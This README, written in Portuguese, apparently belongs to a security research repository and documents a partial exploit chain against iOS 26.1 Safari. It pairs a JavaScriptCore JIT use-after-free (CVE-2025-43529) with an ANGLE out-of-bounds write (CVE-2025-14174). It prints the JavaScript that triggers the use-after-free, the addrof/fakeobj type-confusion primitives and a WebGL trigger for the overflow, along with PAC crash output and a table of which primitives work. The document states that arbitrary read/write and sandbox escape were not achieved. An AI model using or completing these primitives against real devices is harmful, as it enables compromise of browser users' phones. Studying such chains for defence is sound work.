
Análise da cadeia de exploração CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari
Notas e material de PoC para uma cadeia WebKit/ANGLE no iOS 26.1. Este não é um exploit completo; ele separa as primitivas verificadas das partes que ainda falham.
Autor: zeroxjf
Baseado em: exploit da CVE-2025-43529 do jir4vv1t
Status: Cadeia parcial; R/W arbitrário não comprovado
Dispositivo de Teste: iPhone 11 Pro Max, iOS 26.1
Última Atualização: Janeiro de 2026
O gatilho de UAF da CVE-2025-43529, a recuperação de butterfly e as primitivas addrof/fakeobj são baseados no trabalho do jir4vv1t. Minhas contribuições são a implementação do OOB no ANGLE, a análise focada em PAC e a validação no iOS 26.1.
Duas CVEs do WebKit divulgadas em conjunto e reportadas como exploração ativa pela Apple.
| CVE | Componente | Tipo | Resumo |
|---|---|---|---|
| CVE-2025-43529 | JavaScriptCore | Use-After-Free | Ausência de write barrier no DFG JIT leva o GC a liberar objetos vivos |
| CVE-2025-14174 | ANGLE (GPU) | Escrita fora dos limites | O backend Metal usa a altura errada na alocação do buffer de staging |
O bug está no DFG JIT do JavaScriptCore, especificamente na Fase de Inserção de Store Barrier (DFGStoreBarrierInsertionPhase.cpp).
Quando um nó Phi escapa, mas suas entradas Upsilon não são marcadas como escapadas, os stores posteriores perdem a barreira de escrita. Isso permite que o GC libere objetos que ainda estão acessíveis.
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
O butterfly do Date liberado pode ser recuperado por arrays de spray, criando uma confusão de tipos:
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
No backend Metal do ANGLE (TextureMtl.cpp), a alocação do buffer de staging usa UNPACK_IMAGE_HEIGHT em vez da altura real da textura ao fazer upload via PBO.
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
No arm64e (iPhone 11 Pro Max), os Pointer Authentication Codes protegem ponteiros críticos do JSC:
| Ponteiro | Protegido | Resultado |
|---|---|---|
TypedArray m_vector | Sim | Não é possível falsificar TypedArray com backing store arbitrário |
JSArray butterfly | Sim | Não é possível falsificar JSArray com butterfly arbitrário |
Quando tento criar um TypedArray/JSArray falso com um ponteiro de dados arbitrário, a verificação do PAC falha e ocorre um crash:
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
A confusão de tipos funciona porque ambos os arrays usam ponteiros de butterfly legitimamente assinados — estamos apenas reinterpretando a mesma memória. Objetos falsos com ponteiros arbitrários não assinados travam na verificação do PAC.
addrof, fakeobj, vazamentos de endereço, leitura/escrita de slot inline em objetos conhecidosread64/write64 arbitrários, cadeia de escape renderer→GPU, escape do sandbox├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
O gatilho da CVE-2025-43529, a técnica de recuperação de butterfly e a construção de addrof/fakeobj são baseados em jir4vv1t/CVE-2025-43529. Este repositório adiciona validação no iOS 26.1, notas sobre PAC e a implementação do OOB do ANGLE.
Estado atual: útil para reproduzir a primitiva do JSC e o bloqueio do PAC; não é uma cadeia de exploit completa.
| Primitiva | Status | Observações |
|---|
addrof(obj) | Funcionando | Verificado na sonda |
fakeobj(addr) | Funcionando | Verificado com objetos conhecidos |
| Vazamento de endereços | Funcionando | Mais de 20 endereços por execução |
| Leitura/escrita de slot inline | Funcionando | Verificado em slots inline conhecidos (baseado em endereço de objeto) |
read64(addr) | Não verificado | Construído via truque de slot inline; prova falhou |
write64(addr) | Não verificado | Construído via truque de slot inline; prova falhou |